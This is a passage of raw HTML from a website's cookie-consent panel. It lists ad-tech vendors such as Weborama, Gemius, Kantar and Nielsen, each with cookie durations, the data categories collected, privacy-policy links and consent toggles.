class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="281" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Wizaly, View details" tabindex="0" data-vendor-id="281" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="281" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Wizaly, Privacy policy" tabindex="0" data-policy-link="https://www.wizaly.com/terms-of-use#privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Wizaly" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="281"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Weborama</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 393 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="284" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Weborama, View details" tabindex="0" data-vendor-id="284" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="284" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Weborama, Privacy policy" tabindex="0" data-policy-link="https://weborama.com/en/privacy-2/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Weborama" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="284"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-284"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Weborama" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="284" id="fc-preference-slider-gvl-vendor-284" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Jivox Corporation</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 30 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="294" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Jivox Corporation, View details" tabindex="0" data-vendor-id="294" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="294" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Jivox Corporation, Privacy policy" tabindex="0" data-policy-link="https://www.createwithnova.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Jivox Corporation" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="294"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Vistar Media EMEA BV</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="302" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Vistar Media EMEA BV, View details" tabindex="0" data-vendor-id="302" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Vistar Media EMEA BV, Privacy policy" tabindex="0" data-policy-link="https://sage-archer.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Vistar Media EMEA BV" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="302"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>On Device Research Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 30 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="304" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="On Device Research Limited, View details" tabindex="0" data-vendor-id="304" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="304" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="On Device Research Limited, Privacy policy" tabindex="0" data-policy-link="https://s.on-device.com/privacyPolicy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, On Device Research Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="304"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Rockabox Media Ltd</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="308" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Rockabox Media Ltd, View details" tabindex="0" data-vendor-id="308" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="308" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Rockabox Media Ltd, Privacy policy" tabindex="0" data-policy-link="https://www.scoota.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-308"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Rockabox Media Ltd" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="308" id="fc-preference-slider-gvl-vendor-308" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Exactag GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 180 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="312" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Exactag GmbH, View details" tabindex="0" data-vendor-id="312" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Exactag GmbH, Privacy policy" tabindex="0" data-policy-link="https://exactag.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Exactag GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="312"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Celtra Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="315" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Celtra Inc., View details" tabindex="0" data-vendor-id="315" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="315" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Celtra Inc., Privacy policy" tabindex="0" data-policy-link="https://www.celtra.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Celtra Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="315"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>mainADV Srl</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 30 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="317" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="mainADV Srl, View details" tabindex="0" data-vendor-id="317" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="mainADV Srl, Privacy policy" tabindex="0" data-policy-link="https://www.mainad.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, mainADV Srl" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="317"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Gemius SA</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 1825 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="328" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Gemius SA, View details" tabindex="0" data-vendor-id="328" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="328" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Gemius SA, Privacy policy" tabindex="0" data-policy-link="https://www.gemius.com/privacy-policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Gemius SA" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="328"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>The Kantar Group Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 914 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="345" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="The Kantar Group Limited, View details" tabindex="0" data-vendor-id="345" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="The Kantar Group Limited, Privacy policy" tabindex="0" data-policy-link="https://www.kantar.com/cookies-policies" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, The Kantar Group Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="345"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Nielsen Media Research Ltd.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 120 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="373" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Nielsen Media Research Ltd., View details" tabindex="0" data-vendor-id="373" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="373" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Nielsen Media Research Ltd., Privacy policy" tabindex="0" data-policy-link="https://www.nielsen.com/us/en/legal/privacy-statement/nielsen-marketing-cloud-privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Nielsen Media Research Ltd." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="373"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Solocal SA</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="381" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Solocal SA, View details" tabindex="0" data-vendor-id="381" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="381" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Solocal SA, Privacy policy" tabindex="0" data-policy-link="https://www.solocal.com/protection-de-la-vie-privee" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Solocal SA" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="381"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-381"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Solocal SA" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="381" id="fc-preference-slider-gvl-vendor-381" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Pixalate, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="384" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Pixalate, Inc., View details" tabindex="0" data-vendor-id="384" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="384" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Pixalate, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.pixalate.com/privacypolicy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Pixalate, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="384"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Numberly</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 180 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="388" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Numberly, View details" tabindex="0" data-vendor-id="388" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="388" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Numberly, Privacy policy" tabindex="0" data-policy-link="https://numberly.com/en/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Numberly" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="388"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>AudienceProject A/S</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="394" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="AudienceProject A/S, View details" tabindex="0" data-vendor-id="394" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="394" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="AudienceProject A/S, Privacy policy" tabindex="0" data-policy-link="https://privacy.audienceproject.com" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, AudienceProject A/S" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="394"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-394"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 